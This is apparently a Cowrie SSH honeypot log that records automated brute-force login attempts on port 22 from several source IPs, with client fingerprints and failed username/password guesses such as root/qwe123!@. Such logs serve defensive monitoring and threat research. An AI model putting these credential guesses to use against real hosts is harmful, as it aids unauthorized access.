{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:d7:d2:ef:ea:59:8c:4d:16:80:34:6f:44:2f:46:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC550at6pJ56BLfB1gpm7+oaeEii+wEdFFVVbOqcsMq1A0sKJXezwz/KKIfQKvtERPbxBOUNlAMtxDkkvimzbsbyww4Voj94zPlO39nwm3sM+XNkkt7LGrRxeSN9VGs+8eKY/iRL591OcbWpOygNnlX6WUZmigtB1YcX2K4bE5yBrEeG1uFuTL6hEukFK2QDevLQ/15XLXsREd+uAaTo0fqKt7LRJm8HzyGJMS+xkdNmivznEYUPMdiW1HqnDRTKLuKM5bsKRLhc3bL6D8DTqo7iWwKUoc7q6Ol16BXW11ht7VsYeIV+VgPaSXCFwrTWKKe2oRZAqVjKIDZ3BTHo7aB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.267074Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.296082Z","src_ip":"5.196.136.131","session":"f6cc44dd7b1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:4a:c6:5e:94:8b:c9:b3:4a:f9:d2:fc:93:24:6e:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTJ5f/cuwdyR5taB0n11iQ8lcYVBB7QiIoyvKEQEACKdsVtEqLdlNOFB5bGbqRFbGOZYU74K6SU5BNRl3UPS5sLpayzAyypPycRFmaRUjTCTN9onhCY+NbvcdEvuhdgEmpzg5PhFDDMTjsxLxW8XQre2nO3wpYhHfWee3HN6kUBNuuC6DWhHRWby5PfmgFfLoXuKcfzPQZ1ysfjIr4WI80Ykz9e+tu1kCTTKP5hNqu8ABjmz8uYbdyp6LE/9BI7fylcqbjyX2xYjkLiDa8uKd+DzRbBiMbRO0WNSKOqUeYmXIKzKML2gNeKhUdgHJsJ6L6y9h4vwNcnbaQXMRBr/OV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:4a:c6:5e:94:8b:c9:b3:4a:f9:d2:fc:93:24:6e:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.387204Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:4a:c6:5e:94:8b:c9:b3:4a:f9:d2:fc:93:24:6e:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTJ5f/cuwdyR5taB0n11iQ8lcYVBB7QiIoyvKEQEACKdsVtEqLdlNOFB5bGbqRFbGOZYU74K6SU5BNRl3UPS5sLpayzAyypPycRFmaRUjTCTN9onhCY+NbvcdEvuhdgEmpzg5PhFDDMTjsxLxW8XQre2nO3wpYhHfWee3HN6kUBNuuC6DWhHRWby5PfmgFfLoXuKcfzPQZ1ysfjIr4WI80Ykz9e+tu1kCTTKP5hNqu8ABjmz8uYbdyp6LE/9BI7fylcqbjyX2xYjkLiDa8uKd+DzRbBiMbRO0WNSKOqUeYmXIKzKML2gNeKhUdgHJsJ6L6y9h4vwNcnbaQXMRBr/OV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.392292Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:e6:cb:d1:6d:62:5a:fa:f4:19:e1:a0:dc:ec:d7:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCHU9RTrbuNoyagWah8prWeGEjcXrGqHulIEOhdTOpiNAHlfXWXesLwpIDWmiRLqdI1R/KEXtS0wOkM040DDEPzawOPvB0Fz0ByN/ZhXZKgGitB9NLbmkgL5mJpoDgujCdX8g2Kmj8SvzwyPD7YQ2/YzZR//ANqoZdSR/XdpGyO/ASOyWZUhyx1vsEvwGe6/ftWjPJFHnO9NvQ05vU1xHNqvSM/dJaq80Nait9D+SnM7TdyY0sXfUjeRGaGRT5ewBa6lZK/0F+BeJ2gZGWBtY93LlDrKAIlnHDpBgPe5S3myR/lGZv6xeMLwQaO7weFvc2LWs86+/EaDSmBHn4zBHnpejMyFYqs0aPt6kQPnY9ydF6rNEJ0hHpRceMh6bMWe31IsDw7WlpPRoBCoueq/UK8d1Sgcnj6rtcjPGy92tDcVk+MfrmFii/WKi7jzavE5mqI86Ubqi8MIRLJRPCy4HvbF+rPbs7b1yNovpT4w3qwPiBGFdMt7gg9WAbJx7pNTQl6gET8zwJcR4Eif2UlTmxSLS8pdrK20NCH1TK2GWO/tm2VfOBbPhm7nFRfTbb01yQa7qVhJVibT31ENu5hSwNLuT/XwfW3F6m34QYoYusVjw5xJlWrSojE8ZzypZCxzQmzxSzg8pFU1Im0k4ycDvgo3RUW4vnuEN2KX0zUC1VSCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:e6:cb:d1:6d:62:5a:fa:f4:19:e1:a0:dc:ec:d7:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.512373Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:e6:cb:d1:6d:62:5a:fa:f4:19:e1:a0:dc:ec:d7:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCHU9RTrbuNoyagWah8prWeGEjcXrGqHulIEOhdTOpiNAHlfXWXesLwpIDWmiRLqdI1R/KEXtS0wOkM040DDEPzawOPvB0Fz0ByN/ZhXZKgGitB9NLbmkgL5mJpoDgujCdX8g2Kmj8SvzwyPD7YQ2/YzZR//ANqoZdSR/XdpGyO/ASOyWZUhyx1vsEvwGe6/ftWjPJFHnO9NvQ05vU1xHNqvSM/dJaq80Nait9D+SnM7TdyY0sXfUjeRGaGRT5ewBa6lZK/0F+BeJ2gZGWBtY93LlDrKAIlnHDpBgPe5S3myR/lGZv6xeMLwQaO7weFvc2LWs86+/EaDSmBHn4zBHnpejMyFYqs0aPt6kQPnY9ydF6rNEJ0hHpRceMh6bMWe31IsDw7WlpPRoBCoueq/UK8d1Sgcnj6rtcjPGy92tDcVk+MfrmFii/WKi7jzavE5mqI86Ubqi8MIRLJRPCy4HvbF+rPbs7b1yNovpT4w3qwPiBGFdMt7gg9WAbJx7pNTQl6gET8zwJcR4Eif2UlTmxSLS8pdrK20NCH1TK2GWO/tm2VfOBbPhm7nFRfTbb01yQa7qVhJVibT31ENu5hSwNLuT/XwfW3F6m34QYoYusVjw5xJlWrSojE8ZzypZCxzQmzxSzg8pFU1Im0k4ycDvgo3RUW4vnuEN2KX0zUC1VSCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.515153Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:3d:15:97:36:1d:f2:44:8b:a3:62:8a:2b:4e:2f:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZgIK9WuV+QWaJDgobSrWMm3QiUcvj00jPFXpdK9PfEQlHZaJusHdfAe8NpToN09iqUPi/qBz0wf1GFqs2Sh6By05Syq0aHXhY/JUlec40cmlFmn4In8FkvL3/VgjUq+QBtGnoz/yPzh+PoKVBmqFvyJef45ibAyzpUNBwsiK6IC/AwINtnfBiYUL7KacQGpN+njaeM45QIMeY3vWQPTJi99VxUh5KmTZ8S/zs8pLSiVghpRxGSjewCwuGgYmHX4KZDVl7lvhfJUDnVb0csjU4S0u3tKBWJxhp3FKrY9e4gtzXrQy9449seeIY7Vlr2zZSysPDrVGkmCMr+5FU4Ut5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:3d:15:97:36:1d:f2:44:8b:a3:62:8a:2b:4e:2f:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.635331Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:3d:15:97:36:1d:f2:44:8b:a3:62:8a:2b:4e:2f:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZgIK9WuV+QWaJDgobSrWMm3QiUcvj00jPFXpdK9PfEQlHZaJusHdfAe8NpToN09iqUPi/qBz0wf1GFqs2Sh6By05Syq0aHXhY/JUlec40cmlFmn4In8FkvL3/VgjUq+QBtGnoz/yPzh+PoKVBmqFvyJef45ibAyzpUNBwsiK6IC/AwINtnfBiYUL7KacQGpN+njaeM45QIMeY3vWQPTJi99VxUh5KmTZ8S/zs8pLSiVghpRxGSjewCwuGgYmHX4KZDVl7lvhfJUDnVb0csjU4S0u3tKBWJxhp3FKrY9e4gtzXrQy9449seeIY7Vlr2zZSysPDrVGkmCMr+5FU4Ut5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.637120Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:b1:b0:6d:90:ab:2d:2c:eb:43:f0:32:56:8a:e6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAysJ84z+jXYg0ThKD0yPTi8DbpR4uCFGCdJC9/eR6wkMLDMAg6EpoZ5mUAd1agv1wHnxxIRr/LA1K42D+xrpazaYiWWWIiTIy1AWeYmcf0jEP3o/dyYLJeo3vB2WCYxdzs66smKfj3W5p1YBpmpRZ2D4WRpgz1JO9Rpv4BF6QfsKSnpL1WyRYyX7nX+jz7zqpmolcTkoIYm0EsGCSYEF8q3WZOqc7NnITzT2tqmTDAzkUyJLQqLwsukCpfgdqkyuaulHmOtwqFx18TKx7aaf3xStMisGQhV67Gu1DpKAkC2AxlXoxRnvI/O7UCCCKDB386i1v7BMQcoDCaa8eFUNXYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:b1:b0:6d:90:ab:2d:2c:eb:43:f0:32:56:8a:e6:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.756911Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:b1:b0:6d:90:ab:2d:2c:eb:43:f0:32:56:8a:e6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAysJ84z+jXYg0ThKD0yPTi8DbpR4uCFGCdJC9/eR6wkMLDMAg6EpoZ5mUAd1agv1wHnxxIRr/LA1K42D+xrpazaYiWWWIiTIy1AWeYmcf0jEP3o/dyYLJeo3vB2WCYxdzs66smKfj3W5p1YBpmpRZ2D4WRpgz1JO9Rpv4BF6QfsKSnpL1WyRYyX7nX+jz7zqpmolcTkoIYm0EsGCSYEF8q3WZOqc7NnITzT2tqmTDAzkUyJLQqLwsukCpfgdqkyuaulHmOtwqFx18TKx7aaf3xStMisGQhV67Gu1DpKAkC2AxlXoxRnvI/O7UCCCKDB386i1v7BMQcoDCaa8eFUNXYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.759579Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.879600Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":23679,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bbc4daa2cb6","protocol":"ssh","message":"New connection: 5.196.136.131:23679 (10.17.0.5:22) [session: 1bbc4daa2cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:40.211723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:40.215574Z","src_ip":"5.196.136.131","session":"1bbc4daa2cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:40.290393Z","src_ip":"5.196.136.131","session":"1bbc4daa2cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:40.517996Z","src_ip":"5.196.136.131","session":"1bbc4daa2cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:41.594831Z","src_ip":"5.196.136.131","session":"1bbc4daa2cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63133,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ece1c282db5","protocol":"ssh","message":"New connection: 5.196.136.131:63133 (10.17.0.5:22) [session: 7ece1c282db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:44.634605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:44.643743Z","src_ip":"5.196.136.131","session":"7ece1c282db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:44.732559Z","src_ip":"5.196.136.131","session":"7ece1c282db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:45.015444Z","src_ip":"5.196.136.131","session":"7ece1c282db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:46.094869Z","src_ip":"5.196.136.131","session":"7ece1c282db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.63.214.90","src_port":39088,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd22cb9566ad","protocol":"ssh","message":"New connection: 211.63.214.90:39088 (10.17.0.5:22) [session: cd22cb9566ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:48.975727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:48.979217Z","src_ip":"211.63.214.90","session":"cd22cb9566ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28634,"dst_ip":"10.17.0.5","dst_port":22,"session":"550da5c3aa90","protocol":"ssh","message":"New connection: 5.196.136.131:28634 (10.17.0.5:22) [session: 550da5c3aa90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:49.001470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:49.005250Z","src_ip":"5.196.136.131","session":"550da5c3aa90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:49.083116Z","src_ip":"5.196.136.131","session":"550da5c3aa90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:49.178673Z","src_ip":"211.63.214.90","session":"cd22cb9566ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:49.344933Z","src_ip":"5.196.136.131","session":"550da5c3aa90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025@1","message":"login attempt [root/unitedstates2025@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:49.770879Z","src_ip":"211.63.214.90","session":"cd22cb9566ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:50.425147Z","src_ip":"5.196.136.131","session":"550da5c3aa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:50.971069Z","src_ip":"211.63.214.90","session":"cd22cb9566ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28796,"dst_ip":"10.17.0.5","dst_port":22,"session":"0793f64a2d4a","protocol":"ssh","message":"New connection: 5.196.136.131:28796 (10.17.0.5:22) [session: 0793f64a2d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:53.568597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:53.571413Z","src_ip":"5.196.136.131","session":"0793f64a2d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:53.657901Z","src_ip":"5.196.136.131","session":"0793f64a2d4a","protocol":"ssh"}
